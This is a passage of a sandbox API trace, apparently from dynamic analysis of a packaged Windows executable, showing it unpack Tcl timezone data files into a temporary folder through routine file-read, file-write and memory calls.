[0042.892] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.892] CloseHandle (hObject=0x10c) returned 1 [0042.892] GetLastError () returned 0x0 [0042.893] SetLastError (dwErrCode=0x0) [0042.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT") returned 60 [0042.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gmt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.893] GetLastError () returned 0x2 [0042.893] SetLastError (dwErrCode=0x2) [0042.893] GetLastError () returned 0x2 [0042.893] SetLastError (dwErrCode=0x2) [0042.893] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT", lpFilePart=0x0) returned 0x3b [0042.893] GetLastError () returned 0x2 [0042.893] SetLastError (dwErrCode=0x2) [0042.893] GetLastError () returned 0x2 [0042.893] SetLastError (dwErrCode=0x2) [0042.893] GetLastError () returned 0x2 [0042.893] SetLastError (dwErrCode=0x2) [0042.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT") returned 60 [0042.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gmt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.893] GetFileType (hFile=0x10c) returned 0x1 [0042.893] htonl (hostlong=0x94000000) returned 0x94 [0042.893] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.893] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x94, lpOverlapped=0x0) returned 1 [0042.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.895] CloseHandle (hObject=0x10c) returned 1 [0042.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.895] htonl (hostlong=0x30000000) returned 0x30 [0042.895] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.895] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.895] GetFileType (hFile=0x10c) returned 0x1 [0042.895] htonl (hostlong=0xe3d15c00) returned 0x5cd1e3 [0042.895] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6181e3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.895] htonl (hostlong=0x80000000) returned 0x80 [0042.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80) returned 0x55cfe0 [0042.895] htonl (hostlong=0x80000000) returned 0x80 [0042.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.895] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.895] htonl (hostlong=0x96000000) returned 0x96 [0042.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x550600 [0042.895] htonl (hostlong=0x80000000) returned 0x80 [0042.895] htonl (hostlong=0x96000000) returned 0x96 [0042.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.895] CloseHandle (hObject=0x10c) returned 1 [0042.895] GetLastError () returned 0x0 [0042.895] SetLastError (dwErrCode=0x0) [0042.895] GetLastError () returned 0x0 [0042.896] SetLastError (dwErrCode=0x0) [0042.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.896] GetFileType (hFile=0x10c) returned 0x1 [0042.896] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.896] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.896] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.896] CloseHandle (hObject=0x10c) returned 1 [0042.896] GetLastError () returned 0x0 [0042.896] SetLastError (dwErrCode=0x0) [0042.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.896] GetFileType (hFile=0x10c) returned 0x1 [0042.896] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.896] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.897] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.897] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.897] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.897] CloseHandle (hObject=0x10c) returned 1 [0042.897] GetLastError () returned 0x0 [0042.897] SetLastError (dwErrCode=0x0) [0042.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT+0") returned 62 [0042.897] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT+0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gmt+0"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.897] GetLastError () returned 0x2 [0042.897] SetLastError (dwErrCode=0x2) [0042.897] GetLastError () returned 0x2 [0042.897] SetLastError (dwErrCode=0x2) [0042.897] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT+0", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT+0", lpFilePart=0x0) returned 0x3d [0042.897] GetLastError () returned 0x2 [0042.897] SetLastError (dwErrCode=0x2) [0042.897] GetLastError () returned 0x2 [0042.897] SetLastError (dwErrCode=0x2) [0042.897] GetLastError () returned 0x2 [0042.897] SetLastError (dwErrCode=0x2) [0042.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT+0") returned 62 [0042.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.897] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT+0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gmt+0"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.898] GetFileType (hFile=0x10c) returned 0x1 [0042.898] htonl (hostlong=0x96000000) returned 0x96 [0042.898] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.898] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x96, lpOverlapped=0x0) returned 1 [0042.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.899] CloseHandle (hObject=0x10c) returned 1 [0042.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.899] htonl (hostlong=0x30000000) returned 0x30 [0042.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.899] GetFileType (hFile=0x10c) returned 0x1 [0042.899] htonl (hostlong=0x63d25c00) returned 0x5cd263 [0042.899] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618263, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.899] htonl (hostlong=0x80000000) returned 0x80 [0042.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80) returned 0x55cfe0 [0042.899] htonl (hostlong=0x80000000) returned 0x80 [0042.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.899] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.900] htonl (hostlong=0x96000000) returned 0x96 [0042.900] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x550600 [0042.900] htonl (hostlong=0x80000000) returned 0x80 [0042.900] htonl (hostlong=0x96000000) returned 0x96 [0042.900] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.900] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.900] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.900] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.900] CloseHandle (hObject=0x10c) returned 1 [0042.900] GetLastError () returned 0x0 [0042.900] SetLastError (dwErrCode=0x0) [0042.900] GetLastError () returned 0x0 [0042.900] SetLastError (dwErrCode=0x0) [0042.900] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.900] GetFileType (hFile=0x10c) returned 0x1 [0042.900] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.900] CloseHandle (hObject=0x10c) returned 1 [0042.901] GetLastError () returned 0x0 [0042.901] SetLastError (dwErrCode=0x0) [0042.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.901] GetFileType (hFile=0x10c) returned 0x1 [0042.901] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.901] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.901] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.901] CloseHandle (hObject=0x10c) returned 1 [0042.901] GetLastError () returned 0x0 [0042.901] SetLastError (dwErrCode=0x0) [0042.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT-0") returned 62 [0042.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT-0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gmt-0"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.901] GetLastError () returned 0x2 [0042.901] SetLastError (dwErrCode=0x2) [0042.901] GetLastError () returned 0x2 [0042.901] SetLastError (dwErrCode=0x2) [0042.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT-0", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT-0", lpFilePart=0x0) returned 0x3d [0042.901] GetLastError () returned 0x2 [0042.901] SetLastError (dwErrCode=0x2) [0042.901] GetLastError () returned 0x2 [0042.901] SetLastError (dwErrCode=0x2) [0042.902] GetLastError () returned 0x2 [0042.902] SetLastError (dwErrCode=0x2) [0042.902] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT-0") returned 62 [0042.902] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GMT-0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gmt-0"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.902] GetFileType (hFile=0x10c) returned 0x1 [0042.902] htonl (hostlong=0x96000000) returned 0x96 [0042.902] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.902] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x96, lpOverlapped=0x0) returned 1 [0042.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.903] CloseHandle (hObject=0x10c) returned 1 [0042.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.903] htonl (hostlong=0x30000000) returned 0x30 [0042.903] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.903] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.903] GetFileType (hFile=0x10c) returned 0x1 [0042.903] htonl (hostlong=0xe3d25c00) returned 0x5cd2e3 [0042.903] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6182e3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.903] htonl (hostlong=0x7f000000) returned 0x7f [0042.903] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7f) returned 0x55cfe0 [0042.903] htonl (hostlong=0x7f000000) returned 0x7f [0042.903] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.903] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.904] htonl (hostlong=0x95000000) returned 0x95 [0042.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x550600 [0042.904] htonl (hostlong=0x7f000000) returned 0x7f [0042.904] htonl (hostlong=0x95000000) returned 0x95 [0042.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.904] CloseHandle (hObject=0x10c) returned 1 [0042.904] GetLastError () returned 0x0 [0042.904] SetLastError (dwErrCode=0x0) [0042.904] GetLastError () returned 0x0 [0042.904] SetLastError (dwErrCode=0x0) [0042.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 